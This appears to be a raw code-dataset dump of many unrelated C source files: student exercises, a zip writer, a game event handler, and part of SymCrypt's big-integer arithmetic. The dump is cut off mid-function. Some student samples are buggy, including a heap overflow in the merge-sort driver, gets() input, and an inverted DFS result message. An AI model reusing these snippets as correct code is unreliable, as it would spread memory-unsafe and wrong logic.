language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
#include <stdio.h> #include <stdlib.h> void digitCount(int num, int * digitNum){ int counter =0; while(num >0){ counter++; num /= 10; } *digitNum = counter; } int main() { int n, digitno=0; scanf("%d", &n); digitCount(n, &digitno); printf("%d", digitno); }
C
/* ref.c */ /* OCaml の 参照を C で表現する */ int p = 5; int q = 2; int *refp = &p; int *refq = &q; *refq = *refp; printf("%d %d", p, q);
C
#include "philosophers.h" void print_message(t_philo *philo, char *msg) { sem_wait(philo->print); printf("%lld %d %s\n", time_now() - philo->data->start_time,philo->pos, msg); sem_post(philo->print); } void philo_cycle(t_philo *philo) { sem_wait(philo->forks); print_message(philo, "has taken a fork"); sem_wait(philo->forks); print_message(philo, "has taken a fork"); philo->last_meal = time_now(); print_message(philo, "is eating."); eat_timer(philo); sem_post(philo->forks); sem_post(philo->forks); print_message(philo, "is sleeping."); usleep_timer(philo->data->t_sleep); } void *death_monitor(void *arg) { t_philo *philo; philo = (t_philo *)arg; //printf("Lmeal = %lld\n", philo->last_meal); while (1) { if (time_diff(philo->last_meal) > philo->data->t_die) { //printf("ARGHR\n"); //sem_wait(philo->print); sem_wait(philo->print); printf("\033[0;31m"); printf("%lld %d just passed away...\n", time_diff(philo->data->start_time), philo->pos); //printf("????\n"); sem_post(philo->dead); break ; } } //printf("Broke in thread from dead\n"); return (NULL); } void *process_routine(t_philo *philo) { //printf("Lmeal_routine = %lld\n", philo->last_meal); if (pthread_create(&philo->thread, NULL, &death_monitor, (void *)philo)) error_throw("Failed to run philo monitor thread,", NULL); philo->last_meal = time_now(); while (1) { print_message(philo, "is thinking."); philo_cycle(philo); if (philo->meals_done == philo->data->n_meals) break ; } //printf("Broke from loop\n"); sem_post(philo->print); philo->status = FINISHED; return (NULL); }
C
#include "analysis.h" void cal_kron_flops( int nrowA, int nrowB, int ncolA, int ncolB, double *pflops_total, double *pflops_method1, double *pflops_method2 ) { int nrowX = ncolB; int ncolX = ncolA; int nrowY = nrowB; int ncolY = nrowA; /* % -------------------------------------- % Method 1: (i) compute BX = B*X, % (ii) Y += BX * transpose(A) % -------------------------------------- */ double flops_BX = (2.0*nrowB) * ncolB * ncolX; int ncolBX = ncolX; double flops_BX_At = (2.0*nrowY) * ncolY * ncolBX; double flops_method1 = flops_BX + flops_BX_At; /* % --------------------------------------------- % Method 2: (i) compute XAt = X * transpose(A) % (ii) Y += B * XAt % --------------------------------------------- */ double flops_XAt = (2.0*nrowX) * ncolX * nrowA; int ncolXAt = nrowA; double flops_B_XAt = (2.0 * nrowB) * ncolB * ncolXAt; double flops_method2 = flops_XAt + flops_B_XAt; double flops_total = nrowY *ncolY + MIN( flops_method1, flops_method2 ); *pflops_total = flops_total; *pflops_method1 = flops_method1; *pflops_method2 = flops_method2; }
C
#include<stdio.h> #include<string.h> struct employee{ int code; float salary; char name[30]; }; void main(){ struct employee bhanu = {100, 34.23, "Bhanu"}; struct employee rohan = {101, 30.23, "Rohan"}; struct employee vikas = {102, 31.23, "Vikas"}; printf("-----------------------------------------\n"); printf("|Name: %s | Code: %d | Salary: %.2f|\n", bhanu.name, bhanu.code, bhanu.salary); printf("|Name: %s | Code: %d | Salary: %.2f|\n", rohan.name, rohan.code, rohan.salary); printf("|Name: %s | Code: %d | Salary: %.2f|\n", vikas.name, vikas.code, vikas.salary); printf("-----------------------------------------\n"); printf("Done"); }
C
/*Задача 9. Напишете по 2 тройни цикъла (един и същи код) за масивите. Хайде да го изнесем във функция.*/ #include <stdio.h> int arr[10][10][10]; void fillArray( int a[][10][10]){ int b=0; for(int i=0; i<10; i++){ for(int j=0;j<10;j++){ for(int k=0;k<10;k++){ a[i][j][k]=b++; } } } } void printArray(int a[][10][10]){ for(int i=0; i<10; i++){ for(int j=0;j<10;j++){ for(int k=0;k<10;k++){ printf("%d\n",a[i][j][k]); } } } } int main(){ int arr[10][10][10]; fillArray(arr); printArray(arr); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <time.h> void mergeSort(int *vetor, int posicaoInicio, int posicaoFim) { int i, j, k, metadeTamanho, *vetorTemp; if(posicaoInicio == posicaoFim) return; metadeTamanho = (posicaoInicio + posicaoFim ) / 2; mergeSort(vetor, posicaoInicio, metadeTamanho); mergeSort(vetor, metadeTamanho + 1, posicaoFim); i = posicaoInicio; j = metadeTamanho + 1; k = 0; vetorTemp = (int *) malloc(sizeof(int) * (posicaoFim - posicaoInicio + 1)); while(i < metadeTamanho + 1 || j < posicaoFim + 1) { if (i == metadeTamanho + 1 ) { vetorTemp[k] = vetor[j]; j++; k++; } else { if (j == posicaoFim + 1) { vetorTemp[k] = vetor[i]; i++; k++; } else { if (vetor[i] < vetor[j]) { vetorTemp[k] = vetor[i]; i++; k++; } else { vetorTemp[k] = vetor[j]; j++; k++; } } } } for(i = posicaoInicio; i <= posicaoFim; i++) { vetor[i] = vetorTemp[i - posicaoInicio]; } free(vetorTemp); } int main() { clock_t c2, c1; c1 = clock(); int i, h, k=3; int* mil = (int*) malloc (sizeof(int)*10001); for (i=10000; i>0; i--){ k += k*2 ; mil[i] = k ; } /* int v[] = {40, 55, 23, 35, 41, 15, 20, 07, 10, 05, 33, 19}; int h; */ mergeSort(mil, 0, 100000); printf ("\nVetor ordenado: \n"); for (h = 0; h < sizeof(mil); h++) { printf("%d\n", mil[h]); } printf ("\n"); c2 = clock(); int tempo = (c2 - c1)*1000/CLOCKS_PER_SEC; printf ("Tempo total de execucao: %d ms", tempo); printf ("\nTempo total de execucao: %d segundos", tempo/1000); printf ("\n\n"); return 0; }
C
# include <stdio.h> # include <stdlib.h> struct Stack{ int top; int size; int *arr; }; struct Stack *createStack(int size){ struct Stack *stack; stack = (struct Stack*)malloc(sizeof(struct Stack)); stack->top = -1; stack->size = size; stack->arr = (int *)malloc(stack->size * sizeof(struct Stack)); return stack; } int isEmpty(struct Stack *stack){ if(stack->top == -1){ return 1; } else{ return 0; } } int isFull(struct Stack *stack){ if(stack->top == (stack->size)-1){ return 1; } else{ return 0; } } void push(struct Stack *stack, int data){ if(!(isFull(stack))){ stack->arr[(stack->top)+1] = data; stack->top += 1; } } void pop(struct Stack *stack){ if(!(isEmpty(stack))){ stack->top -= 1; // stack->arr[(stack->top)--]; } } int main() { struct Stack *stack; stack = createStack(5); push(stack, 5); push(stack, 5); push(stack, 5); push(stack, 5); push(stack, 5); push(stack, 5); pop(stack); push(stack, 5); return 0; }
C
#include<stdio.h> #include<stdbool.h> int stringLength(char s[]){ int c=0; while(s[c]!='\0'){c++;} return c; } bool checkPalindrome(char s1[]){ int i,j; for(i=0, j=stringLength(s1)-1;i<j;i++,j--){ if(s1[i]!=s1[j]){ return false; } } return true; } void main(){ char s1[100]; printf("Enter string : "); gets(s1); checkPalindrome(s1) ? printf("string '%s' is a palindrome.",s1) : printf("string '%s' is not a palindrome.",s1); }
C
/* ** EPITECH PROJECT, 2020 ** event.c ** File description: ** main of event structures */ #include "runner.h" void window_event(head_t *head, sfEvent event) { if (event.type == sfEvtClosed) sfRenderWindow_close(head->window); } void game_event(head_t *head, event_t *event, sfEvent sf_evt) { if (sf_evt.type == sfEvtMouseButtonPressed && sf_evt.mouseButton.button == 0) event->jump = 1; else if (sf_evt.type == sfEvtMouseButtonReleased && sf_evt.mouseButton.button == 0) event->jump = 0; if (sf_evt.type == sfEvtKeyPressed) { if (sf_evt.key.code == sfKeySpace || sf_evt.key.code == sfKeyUp) event->jump = 1; event->escape = (sf_evt.key.code == sfKeyEscape); } if (sf_evt.type == sfEvtKeyReleased) if (sf_evt.key.code == sfKeySpace || sf_evt.key.code == sfKeyUp) event->jump = 0; if (head->game->practice == 1) { event->practice_gem = -(sf_evt.key.code == sfKeyX); event->practice_gem = (sf_evt.key.code == sfKeyW); } } void menu_event(event_t *event, sfEvent sf_evt) { event->click = (sf_evt.type == sfEvtMouseButtonPressed && sf_evt.mouseButton.button == 0); if (sf_evt.type == sfEvtKeyPressed) event->escape = (sf_evt.key.code == sfKeyEscape); } void general_event(event_t *event, sfEvent sf_evt) { if (sf_evt.type == sfEvtMouseMoved) { event->mouse_coords->x = sf_evt.mouseMove.x; event->mouse_coords->y = sf_evt.mouseMove.y; } } void main_event(head_t *head) { sfEvent event; while (sfRenderWindow_pollEvent(head->window, &event)) { window_event(head, event); general_event(head->event, event); if (head->game == NULL) menu_event(head->event, event); else game_event(head, head->event, event); } }
C
#include <stdio.h> #include <stdlib.h> int main() { int i,n,t,k; scanf("%d",&n); int v[n]; for(i=0;i<n;i++) scanf("%d",v+i); for(i=0;i<n;i++) printf("%d ",v[i]); printf("\n"); scanf("%d",&t); int w[n+t]; scanf("%d",&k); // for(i=0;i<k;i++) w[i]=v[i]; for(i=k;i<k+t;i++) scanf("%d",&w[i]); for(i=k+t;i<n+t;i++) w[i]=v[i-t]; // printf("\n"); for(i=0;i<n+t;i++) printf("%d ",w[i]); }
C
/***************************************************************************/ /* */ /* STRSHL.C */ /* */ /* Copyright (c) 1991 - Microsoft Corp. */ /* All rights reserved. */ /* Microsoft Confidential */ /* */ /* ShiftStringLeft() moves a string left one character, including EOL. */ /* Returns the length of the new string. */ /* */ /* unsigned ShiftStringLeft( char *String ) */ /* */ /* ARGUMENTS: String - pointer to string to be shifted */ /* RETURNS: unsigned - length of original string - 1 */ /* */ /* Created 03-23-89 - johnhe */ /***************************************************************************/ #include <stdio.h> #include <string.h> unsigned ShiftStringLeft( char *String ) { unsigned Length; if ( (Length = strlen(String)) != 0 ) memmove( String, String+1, Length-- ); return( Length ); }
C
#include<stdio.h> long long int gcd(long long int,long long int); long long int a[10000000]; long long int gcd(long long int x,long long int y) { if(x==0) return y; else if(x>y) return gcd(y,x); else return gcd(x,y%x); } int main() { long long int t,i; scanf("%lld",&t); while(t>0) { long long int n,real=0; scanf("%lld",&n); for(i=1;i<=n;i++) a[i]=i; for(i=1;i<=n-2;i++) { long long int e=0,w=0; long long int q=gcd(a[i],a[i+1]); if(q==1) { w=gcd(a[i+1],a[i+2]); if(q==1&&w==1) { e=gcd(a[i],a[i+2]); if(e==1) real=real+a[i]; } } } printf("%lld\n",real); t--; } return 0; }
C
#include<stdio.h> void dfs(int n,int cost[10][10],int u,int s[]) { int v; s[u]=1; for(v=1;v<=n;v++) if(cost[u][v]==1 && s[v]==0) dfs(n,cost,v,s); } void main() { int n,cost[10][10],s[10],i,j,connected, flag; printf("enter the number of vertices:"); scanf("%d",&n); printf("enter the adjacency matrix\n"); for(i=1;i<=n;i++) for(j=1;j<=n;j++) scanf("%d",&cost[i][j]); connected=0; for(j=1;j<=n;j++) { for(i=1;i<=n;i++) s[i]=0; dfs(n,cost,j,s); flag=0; for(i=1;i<=n;i++) if(s[i]==0) flag=1; if(flag==0) connected=1; } if(connected==1) printf("graph is not connected"); else printf("graph is not connected"); }
C
/******************************************** * file name: writer.c * author: kari.zhang * date: * * modifications: * 1. Review code @ 2015-11-25 by kari.zhang * ********************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <utime.h> #include <sys/types.h> #include <sys/stat.h> #include "zip.h" int fileNotExist (const char* path) { int retCode = 0; FILE *fp = fopen (path, "rb"); if (NULL == fp) { retCode = 1; } else { fclose (fp); } return retCode; } static int readFile (const char* path, char** mem) { FILE *fp = fopen (path, "rb"); if (NULL == fp) { return -1; } fseek (fp, 0, SEEK_END); long size = ftell (fp); fseek (fp, 0, SEEK_SET); *mem = (char *) calloc (1, size); if (NULL == *mem) { fclose (fp); return -2; } if (fread(*mem, size, 1, fp) != 1) { printf ("read %s error\n", path); free (*mem); fclose (fp); return -1; } fclose (fp); return size; } int main(int argc, char** argv) { if (argc <= 2) { printf ("Usage:\n"); printf (" %s input1 input2 ... output\n", argv[0]); return -1; } zipFile zfOut = zipOpen (argv[argc-1], APPEND_STATUS_CREATE); if (NULL == zfOut) { printf ("Failed open %s for append\n", argv[argc-1]); return -1; } int i; for (i = 1; i < argc - 1; ++i) { if (fileNotExist (argv[i])) { printf ("file %s not exist.\n", argv[i]); continue; } int retCode = zipOpenNewFileInZip (zfOut, argv[i], NULL, // zip_fileinfo NULL, // extrafield_local 0, // size extrafield_local NULL, // extrafield_global 0, // size extrafield_global NULL, // comment Z_DEFLATED, Z_DEFAULT_COMPRESSION); if (retCode < 0) { printf ("add %s to %s failed.\n", argv[i], argv[argc-1]); } char *mem = NULL; int length = readFile (argv[i], &mem); if (length >= 0) { retCode = zipWriteInFileInZip (zfOut, mem, length); free (mem); } zipCloseFileInZip (zfOut); } zipClose (zfOut, NULL); }
C
// // fdef_int.c INT functions for default number format // // Copyright (c) Microsoft Corporation. Licensed under the MIT license. // #include "precomp.h" // // Default big-number format: // INT objects are stored in two parts: // a SYMCRYPT_FDEF_INT structure // an array of UINT32; the # elements in the array is a multiple of SYMCRYPT_FDEF_DIGIT_SIZE/4. // // The pointer passed points to the start of the UINT32 array, just after the SYMCRYPT_FDEF_INT structure. // // The generic implementation accesses the digits as an array of UINT32, but on 64-bit CPUs // the code can also view it as an array of UINT64. // UINT32 SYMCRYPT_CALL SymCryptFdefRawAddC( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc2, _Out_writes_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PUINT32 pDst, UINT32 nDigits ) { UINT32 i; UINT64 t; t = 0; for( i=0; i<nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; i++ ) { t = t + pSrc1[i] + pSrc2[i]; pDst[i] = (UINT32) t; t >>= 32; } return (UINT32) t; } UINT32 SYMCRYPT_CALL SymCryptFdefRawAdd( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc2, _Out_writes_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PUINT32 pDst, UINT32 nDigits ) { #if SYMCRYPT_CPU_AMD64 | SYMCRYPT_CPU_X86 | SYMCRYPT_CPU_ARM64 | SYMCRYPT_CPU_ARM return SymCryptFdefRawAddAsm( pSrc1, pSrc2, pDst, nDigits ); #else return SymCryptFdefRawAddC( pSrc1, pSrc2, pDst, nDigits ); #endif } UINT32 SYMCRYPT_CALL SymCryptFdefRawAddUint32( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 Src1, UINT32 Src2, _Out_writes_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PUINT32 Dst, UINT32 nDigits ) { UINT32 i; UINT64 t; t = Src2; for( i=0; i<nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; i++ ) { t = t + Src1[i]; Dst[i] = (UINT32) t; t >>= 32; } return (UINT32) t; } UINT32 SYMCRYPT_CALL SymCryptFdefIntAddUint32( _In_ PCSYMCRYPT_INT piSrc1, UINT32 u32Src2, _Out_ PSYMCRYPT_INT piDst ) { SYMCRYPT_CHECK_MAGIC( piSrc1 ); SYMCRYPT_CHECK_MAGIC( piDst ); SYMCRYPT_ASSERT( piSrc1->nDigits == piDst->nDigits ); return SymCryptFdefRawAddUint32( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), u32Src2, SYMCRYPT_FDEF_INT_PUINT32( piDst ), piDst->nDigits ); } UINT32 SYMCRYPT_CALL SymCryptFdefIntAddSameSize( _In_ PCSYMCRYPT_INT piSrc1, _In_ PCSYMCRYPT_INT piSrc2, _Out_ PSYMCRYPT_INT piDst ) { SYMCRYPT_ASSERT( piSrc1->nDigits == piSrc2->nDigits && piSrc2->nDigits == piDst->nDigits ); return SymCryptFdefRawAdd( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), SYMCRYPT_FDEF_INT_PUINT32( piDst ), piDst->nDigits ); } UINT32 SYMCRYPT_CALL SymCryptFdefIntAddMixedSize( _In_ PCSYMCRYPT_INT piSrc1, _In_ PCSYMCRYPT_INT piSrc2, _Out_ PSYMCRYPT_INT piDst ) { UINT32 nS1 = piSrc1->nDigits; UINT32 nS2 = piSrc2->nDigits; UINT32 nD = piDst->nDigits; UINT32 c; UINT32 nW; SYMCRYPT_ASSERT( nD >= nS1 && nD >= nS2 ); if( nS1 < nS2 ) { c = SymCryptFdefRawAdd( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), SYMCRYPT_FDEF_INT_PUINT32( piDst ), nS1 ); c = SymCryptFdefRawAddUint32( &SYMCRYPT_FDEF_INT_PUINT32( piSrc2 )[nS1 * SYMCRYPT_FDEF_DIGIT_NUINT32], c, &SYMCRYPT_FDEF_INT_PUINT32( piDst )[nS1 * SYMCRYPT_FDEF_DIGIT_NUINT32], nS2 - nS1 ); nW = nS2; } else { // nS2 < nS1 c = SymCryptFdefRawAdd( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), SYMCRYPT_FDEF_INT_PUINT32( piDst ), nS2 ); c = SymCryptFdefRawAddUint32( &SYMCRYPT_FDEF_INT_PUINT32( piSrc1 )[nS2 * SYMCRYPT_FDEF_DIGIT_NUINT32], c, &SYMCRYPT_FDEF_INT_PUINT32( piDst )[nS2 * SYMCRYPT_FDEF_DIGIT_NUINT32], nS1 - nS2 ); nW = nS1; } if( nW < nD ) { SymCryptWipe( &SYMCRYPT_FDEF_INT_PUINT32( piDst )[nW * SYMCRYPT_FDEF_DIGIT_NUINT32], (nD - nW) * SYMCRYPT_FDEF_DIGIT_SIZE ); SYMCRYPT_FDEF_INT_PUINT32( piDst )[nW * SYMCRYPT_FDEF_DIGIT_NUINT32] = c; c = 0; } return c; } UINT32 SYMCRYPT_CALL SymCryptFdefRawSubC( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc2, _Out_writes_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PUINT32 pDst, UINT32 nDigits ) { UINT32 i; UINT64 t; UINT32 c; c = 0; for( i=0; i<nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; i++ ) { // c == 1 for carry, 0 for no carry t = (UINT64) pSrc1[i] - pSrc2[i] - c; pDst[i] = (UINT32) t; c = (UINT32)(t >> 32) & 1; } return c; } UINT32 SYMCRYPT_CALL SymCryptFdefRawSub( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc2, _Out_writes_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PUINT32 pDst, UINT32 nDigits ) { #if SYMCRYPT_CPU_AMD64 | SYMCRYPT_CPU_X86 | SYMCRYPT_CPU_ARM64 | SYMCRYPT_CPU_ARM return SymCryptFdefRawSubAsm( pSrc1, pSrc2, pDst, nDigits ); #else return SymCryptFdefRawSubC( pSrc1, pSrc2, pDst, nDigits ); #endif } UINT32 SYMCRYPT_CALL SymCryptFdefRawSubUint32( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, UINT32 Src2, _Out_writes_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PUINT32 pDst, UINT32 nDigits ) { UINT32 i; UINT64 t; UINT32 c; c = Src2; for( i=0; i<nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; i++ ) { t = (UINT64)pSrc1[i] - c; pDst[i] = (UINT32) t; c = (UINT32)(t >> 32) & 1; } return c; } UINT32 SYMCRYPT_CALL SymCryptFdefRawNeg( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, UINT32 carryIn, _Out_writes_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PUINT32 pDst, UINT32 nDigits ) { UINT32 i; UINT64 t; UINT32 c; c = carryIn; for( i=0; i<nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; i++ ) { t = (UINT64)0 - pSrc1[i] - c; pDst[i] = (UINT32) t; c = (UINT32)(t >> 32) & 1; } return c; } UINT32 SYMCRYPT_CALL SymCryptFdefIntSubUint32( _In_ PCSYMCRYPT_INT piSrc1, UINT32 u32Src2, _Out_ PSYMCRYPT_INT piDst ) { SYMCRYPT_ASSERT( piSrc1->nDigits == piDst->nDigits ); return SymCryptFdefRawSubUint32( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), u32Src2, SYMCRYPT_FDEF_INT_PUINT32( piDst ), piDst->nDigits ); } UINT32 SYMCRYPT_CALL SymCryptFdefIntSubSameSize( _In_ PCSYMCRYPT_INT piSrc1, _In_ PCSYMCRYPT_INT piSrc2, _Out_ PSYMCRYPT_INT piDst ) { SYMCRYPT_ASSERT( piSrc1->nDigits == piSrc2->nDigits && piSrc1->nDigits == piDst->nDigits ); return SymCryptFdefRawSub( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), SYMCRYPT_FDEF_INT_PUINT32( piDst ), piDst->nDigits ); } UINT32 SYMCRYPT_CALL SymCryptFdefIntSubMixedSize( _In_ PCSYMCRYPT_INT piSrc1, _In_ PCSYMCRYPT_INT piSrc2, _Out_ PSYMCRYPT_INT piDst ) { UINT32 nS1 = piSrc1->nDigits; UINT32 nS2 = piSrc2->nDigits; UINT32 nD = piDst->nDigits; UINT32 c; UINT32 n; SYMCRYPT_ASSERT( nD >= nS1 && nD >= nS2 ); if( nS1 < nS2 ) { c = SymCryptFdefRawSub( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), SYMCRYPT_FDEF_INT_PUINT32( piDst ), nS1 ); c = SymCryptFdefRawNeg( &SYMCRYPT_FDEF_INT_PUINT32( piSrc2 )[nS1 * SYMCRYPT_FDEF_DIGIT_NUINT32], c, &SYMCRYPT_FDEF_INT_PUINT32( piDst )[nS1 * SYMCRYPT_FDEF_DIGIT_NUINT32], nS2 - nS1 ); n = nS2 * SYMCRYPT_FDEF_DIGIT_NUINT32; } else { // nS2 < nS1 c = SymCryptFdefRawSub( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), SYMCRYPT_FDEF_INT_PUINT32( piDst ), nS2 ); c = SymCryptFdefRawSubUint32( &SYMCRYPT_FDEF_INT_PUINT32( piSrc1 )[nS2 * SYMCRYPT_FDEF_DIGIT_NUINT32], c, &SYMCRYPT_FDEF_INT_PUINT32( piDst )[nS2 * SYMCRYPT_FDEF_DIGIT_NUINT32], nS1 - nS2 ); n = nS1 * SYMCRYPT_FDEF_DIGIT_NUINT32; } // // Set the rest of the result to 0s or 1s // while( n < nD * SYMCRYPT_FDEF_DIGIT_NUINT32 ) { SYMCRYPT_FDEF_INT_PUINT32( piDst )[n++] = 0 - c; } return c; } UINT32 SYMCRYPT_CALL SymCryptFdefRawIsLessThanC( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc2, UINT32 nDigits ) { UINT32 i; UINT64 t; UINT32 c; // We just do a subtraction without writing and return the carry c = 0; for( i=0; i<nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; i++ ) { // c == 1 for carry, 0 for no carry t = (UINT64) pSrc1[i] - pSrc2[i] - c; c = (UINT32)(t >> 32) & 1; } // All booleans are returned as masks return 0 - c; } UINT32 SYMCRYPT_CALL SymCryptFdefRawIsLessThan( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc2, UINT32 nDigits ) { #if 0 & SYMCRYPT_CPU_AMD64 // return SymCryptFdefRawIsLessThanAsm( pSrc1, pSrc2, nDigits ); #else return SymCryptFdefRawIsLessThanC( pSrc1, pSrc2, nDigits ); #endif } UINT32 SYMCRYPT_CALL SymCryptFdefRawIsZeroC( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, UINT32 nDigits ) { UINT32 i; UINT32 c; c = 0; for( i=0; i<nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; i++ ) { c |= pSrc1[i]; } // All booleans are returned as masks return SYMCRYPT_MASK32_ZERO( c ); } UINT32 SYMCRYPT_CALL SymCryptFdefRawIsZero( _In_reads_bytes_(nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ) PCUINT32 pSrc1, UINT32 nDigits ) { #if 0 & SYMCRYPT_CPU_AMD64 // return SymCryptFdefRawIsZeroAsm( pSrc1, nDigits ); #else return SymCryptFdefRawIsZeroC( pSrc1, nDigits ); #endif } UINT32 SYMCRYPT_CALL SymCryptFdefIntIsLessThan( _In_ PCSYMCRYPT_INT piSrc1, _In_ PCSYMCRYPT_INT piSrc2 ) { UINT32 nD1 = piSrc1->nDigits; UINT32 nD2 = piSrc2->nDigits; UINT32 res; if( nD1 == nD2 ) { res = SymCryptFdefRawIsLessThan( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), nD1 ); } else if( nD1 < nD2 ) { res = SymCryptFdefRawIsLessThan( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), nD1 ); res |= ~SymCryptFdefRawIsZero( &SYMCRYPT_FDEF_INT_PUINT32( piSrc2 )[ nD1 * SYMCRYPT_FDEF_DIGIT_NUINT32 ], nD2 - nD1 ); } else { res = SymCryptFdefRawIsLessThan( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), nD2 ); res &= SymCryptFdefRawIsZero( &SYMCRYPT_FDEF_INT_PUINT32( piSrc1 )[ nD2 * SYMCRYPT_FDEF_DIGIT_NUINT32 ], nD1 - nD2 ); } return res; } VOID SYMCRYPT_CALL SymCryptFdefIntNeg( _In_ PCSYMCRYPT_INT piSrc, _Out_ PSYMCRYPT_INT piDst ) { UINT32 nDigits = piDst->nDigits; SYMCRYPT_ASSERT( piSrc->nDigits == nDigits ); SymCryptFdefRawNeg( SYMCRYPT_FDEF_INT_PUINT32( piSrc ), 0, SYMCRYPT_FDEF_INT_PUINT32( piDst ), nDigits ); } VOID SYMCRYPT_CALL SymCryptFdefIntMulPow2( _In_ PCSYMCRYPT_INT piSrc, SIZE_T Exp, _Out_ PSYMCRYPT_INT piDst ) { SYMCRYPT_ASSERT( piSrc->nDigits == piDst->nDigits ); SIZE_T shiftWords = Exp / (8 * sizeof( UINT32 ) ); SIZE_T shiftBits = Exp % (8 * sizeof( UINT32 ) ); UINT32 nWords = piDst->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; if( shiftWords >= nWords ) { SymCryptWipe( SYMCRYPT_FDEF_INT_PUINT32( piDst ), nWords * sizeof( UINT32 ) ); goto cleanup; } SIZE_T i = nWords; while( i > shiftWords ) { i--; UINT64 t = (UINT64)SYMCRYPT_FDEF_INT_PUINT32( piSrc )[i - shiftWords] << 32; if( i > shiftWords ) { t |= SYMCRYPT_FDEF_INT_PUINT32( piSrc )[i - shiftWords - 1]; } SYMCRYPT_FDEF_INT_PUINT32( piDst )[i] = (UINT32)(t >> (32 - shiftBits)); } while( i > 0 ) { i--; SYMCRYPT_FDEF_INT_PUINT32( piDst )[i] = 0; } cleanup: ; } VOID SYMCRYPT_CALL SymCryptFdefIntDivPow2( _In_ PCSYMCRYPT_INT piSrc, SIZE_T exp, _Out_ PSYMCRYPT_INT piDst ) { SIZE_T shiftWords = exp / (8 * sizeof( UINT32 ) ); SIZE_T shiftBits = exp % (8 * sizeof( UINT32 ) ); UINT32 nWords = piDst->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; SYMCRYPT_ASSERT( piSrc->nDigits == piDst->nDigits ); if( shiftWords >= nWords ) { SymCryptWipe( SYMCRYPT_FDEF_INT_PUINT32( piDst ), nWords * sizeof( UINT32 ) ); goto cleanup; } SIZE_T i = 0; while( i < nWords - shiftWords ) { UINT64 t = SYMCRYPT_FDEF_INT_PUINT32( piSrc )[i + shiftWords ]; if( i + shiftWords + 1 < nWords ) { t |= (UINT64)SYMCRYPT_FDEF_INT_PUINT32( piSrc )[i + shiftWords + 1] << 32; } SYMCRYPT_FDEF_INT_PUINT32( piDst )[i] = (UINT32)(t >> shiftBits); i++; } while( i < nWords ) { SYMCRYPT_FDEF_INT_PUINT32( piDst )[i] = 0; i++; } cleanup: ; } VOID SYMCRYPT_CALL SymCryptFdefIntShr1( UINT32 highestBit, _In_ PCSYMCRYPT_INT piSrc, _Out_ PSYMCRYPT_INT piDst ) { UINT32 nWords = piDst->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; UINT32 t; SYMCRYPT_ASSERT( piSrc->nDigits == piDst->nDigits ); SYMCRYPT_ASSERT( highestBit < 2 ); SIZE_T i = 0; while( i < nWords ) { t = SYMCRYPT_FDEF_INT_PUINT32( piSrc 